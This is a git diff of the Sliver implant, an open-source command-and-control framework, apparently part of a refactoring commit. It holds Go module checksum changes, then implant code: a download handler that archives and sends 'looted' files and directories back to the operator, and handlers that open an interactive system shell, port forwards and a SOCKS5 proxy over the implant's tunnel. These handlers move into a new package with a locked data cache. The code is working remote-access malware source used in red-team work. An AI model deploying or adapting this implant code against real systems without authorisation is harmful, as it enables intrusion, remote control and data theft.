gorm.io/driver/mysql v1.0.3/go.mod h1:twGxftLBlFgNVNakL7F+P/x9oYqoymG3YYT8cAfI9oI=
gorm.io/driver/postgres v1.0.5 h1:raX6ezL/ciUmaYTvOq48jq1GE95aMC0CmxQYbxQ4Ufw=
@@ -1397,7 +1396,6 @@ modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.20/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.22/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
@@ -1438,11 +1436,8 @@ modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
modernc.org/ccgo/v3 v3.13.1/go.mod h1:aBYVOUfIlcSnrsRVU8VRS35y2DIfpgkmVkYZ0tpIXi4=
modernc.org/ccgo/v3 v3.15.9/go.mod h1:md59wBwDT2LznX/OTCPoVS6KIsdRgY8xqQwBV+hkTH0=
modernc.org/ccgo/v3 v3.15.10/go.mod h1:wQKxoFn0ynxMuCLfFD09c8XPUCc8obfchoVR9Cn0fI8=
@@ -1453,7 +1448,6 @@ modernc.org/ccgo/v3 v3.15.16/go.mod h1:XbKRMeMWMdq712Tr5ECgATYMrzJ+g9zAZEj2ktzBe
modernc.org/ccgo/v3 v3.15.17/go.mod h1:bofnFkpRFf5gLY+mBZIyTW6FEcp26xi2lgOFk2Rlvs0=
modernc.org/ccgo/v3 v3.15.18 h1:X5ym656Ye7/ubL+wox0SeF9aRX5od1UDFn1tAbQR+90=
modernc.org/ccgo/v3 v3.15.18/go.mod h1:/2lv3WjHyanEr2sAPdGKRC38n6f0werut9BRXUjjX+A=
modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
@@ -1494,12 +1488,8 @@ modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
modernc.org/libc v1.12.0/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
modernc.org/libc v1.14.1/go.mod h1:npFeGWjmZTjFeWALQLrvklVmAxv4m80jnG3+xI8FdJk=
modernc.org/libc v1.14.2/go.mod h1:MX1GBLnRLNdvmK9azU9LCxZ5lMyhrbEMK8rG3X/Fe34=
@@ -1517,27 +1507,20 @@ modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
modernc.org/memory v1.0.6/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/memory v1.0.7 h1:UE3cxTRFa5tfUibAV7Jqq8P7zRY0OlJg+yWVIIaluEE=
modernc.org/memory v1.0.7/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
modernc.org/sqlite v1.16.0 h1:DdvOGaWN0y+X7t2L7RUD63gcwbVjYZjcBZnA68g44EI=
modernc.org/sqlite v1.16.0/go.mod h1:Jwe13ItpESZ+78K5WS6+AjXsUg+JvirsjN3iIDO4C8k=
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
modernc.org/tcl v1.11.2 h1:mXpsx3AZqJt83uDiFu9UYQVBjNjaWKGCF1YDSlpCL6Y=
modernc.org/tcl v1.11.2/go.mod h1:BRzgpajcGdS2qTxniOx9c/dcxjlbA7p12eJNmiriQYo=
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
modernc.org/z v1.3.2 h1:4GWBVMa48UDC7KQ9tnaggN/yTlXg+CdCX9bhgHPQ9AM=
modernc.org/z v1.3.2/go.mod h1:PEU2oK2OEA1CfzDTd+8E908qEXhC9s0MfyKp5LZsd+k=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+62 -5
View File
@@ -277,6 +277,13 @@ func pwdHandler(data []byte, resp RPCResponse) {
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
/*
A flag for whether this is a directory - used if
this download is being looted
*/
var isDir bool
downloadReq := &sliverpb.DownloadReq{}
err := proto.Unmarshal(data, downloadReq)
if err != nil {
@@ -307,8 +314,10 @@ func downloadHandler(data []byte, resp RPCResponse) {
log.Printf("error creating the archive: %v", err)
// {{end}}
rawData = dirData.Bytes()
isDir = true
} else {
rawData, err = ioutil.ReadFile(target)
isDir = false
}
var download *sliverpb.Download
@@ -316,10 +325,12 @@ func downloadHandler(data []byte, resp RPCResponse) {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
Response: &commonpb.Response{},
}
} else {
download = &sliverpb.Download{Path: target, Exists: false}
@@ -604,12 +615,58 @@ func gzipRead(data []byte) ([]byte, error) {
return buf.Bytes(), nil
}
func standarizeArchiveFileName(path string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func compressDir(path string, buf io.Writer) error {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
fileName := file
fileName := standarizeArchiveFileName(file)
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
@@ -111,6 +111,7 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
return
}
pivots.StopListener(req.ID)
pivots.RemoveListener(req.ID)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: []byte{},
+6 -448
View File
@@ -19,36 +19,24 @@ package handlers
*/
import (
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
var (
tunnelHandlers = map[uint32]TunnelHandler{
sliverpb.MsgShellReq: shellReqHandler,
sliverpb.MsgPortfwdReq: portfwdReqHandler,
sliverpb.MsgSocksData: socksReqHandler,
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
sliverpb.MsgSocksData: tunnel_handlers.SocksReqHandler,
sliverpb.MsgTunnelData: tunnelDataHandler,
sliverpb.MsgTunnelClose: tunnelCloseHandler,
sliverpb.MsgTunnelData: tunnel_handlers.TunnelDataHandler,
sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
}
// TunnelID -> Sequence Number -> Data
tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
)
// GetTunnelHandlers - Returns a map of tunnel handlers
@@ -58,433 +46,3 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
// {{end}}
return tunnelHandlers
}
func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
delete(tunnelDataCache, tunnel.ID)
}
}
func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
}
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
var l sync.Mutex
l.Lock()
tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
cache := tunnelDataCache[tunnel.ID]
for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
delete(cache, tunnel.ReadSequence)
tunnel.ReadSequence++ // Increment sequence counter
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if len(cache) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence, // The tunnel write sequence
Ack: tunnel.ReadSequence,
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
// {{end}}
connection.RequestResend(data)
}
}
//Unlock
l.Unlock()
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
// {{end}}
}
}
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence, // The tunnel write sequence
Ack: tw.tun.ReadSequence,
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
// {{end}}
tw.tun.WriteSequence++ // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
go systemShell.StartAndWait()
// Wait for the process to actually spawn
for {
if systemShell.Command.Process == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Waiting for process to spawn ...")
// {{end}}
time.Sleep(time.Second)
} else {
break
}
}
tunnel := &transports.Tunnel{
ID: shellReq.TunnelID,
Reader: systemShell.Stdout,
Writer: systemShell.Stdin,
}
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
for {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated")
return
}
}
if err == io.EOF {
cleanup("EOF")
return
}
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
tunnel := &transports.Tunnel{
ID: portfwdReq.TunnelID,
Reader: dst,
Writer: dst,
}
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
cleanup(err)
}()
}
type socksTunnelPool struct {
tunnels map[uint64]chan []byte
readMutex *sync.Mutex
writeMutex *sync.Mutex
Sequence map[uint64]uint64
}
var socksTunnels = socksTunnelPool{
tunnels: map[uint64]chan []byte{},
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
Sequence: map[uint64]uint64{},
}
var socksServer *socks5.Server
func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
return
}
} else {
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
socksTunnels.readMutex.Lock()
channel := socksTunnels.tunnels[s.stream.TunnelID]
socksTunnels.readMutex.Unlock()
data := <-channel
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
socksTunnels.writeMutex.Lock()
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: s.Sequence,
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socksTunnels.writeMutex.Unlock()
s.Sequence++
return len(b), err
}
func (s *socks) Close() error {
close(socksTunnels.tunnels[s.stream.TunnelID])
delete(socksTunnels.tunnels, s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,33 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
tunnelDataCache.DeleteTun(tunnel.ID)
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
// {{end}}
}
}
@@ -0,0 +1,66 @@
package tunnel_handlers
import (
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// TunnelID -> Sequence Number -> Data
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
func (c *dataCache) Len(tunnelID uint64) int {
c.mutex.RLock()
defer c.mutex.RUnlock()
return len(c.cache[tunnelID])
}
@@ -0,0 +1,81 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
log.Printf("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
connection.RequestResend(data)
}
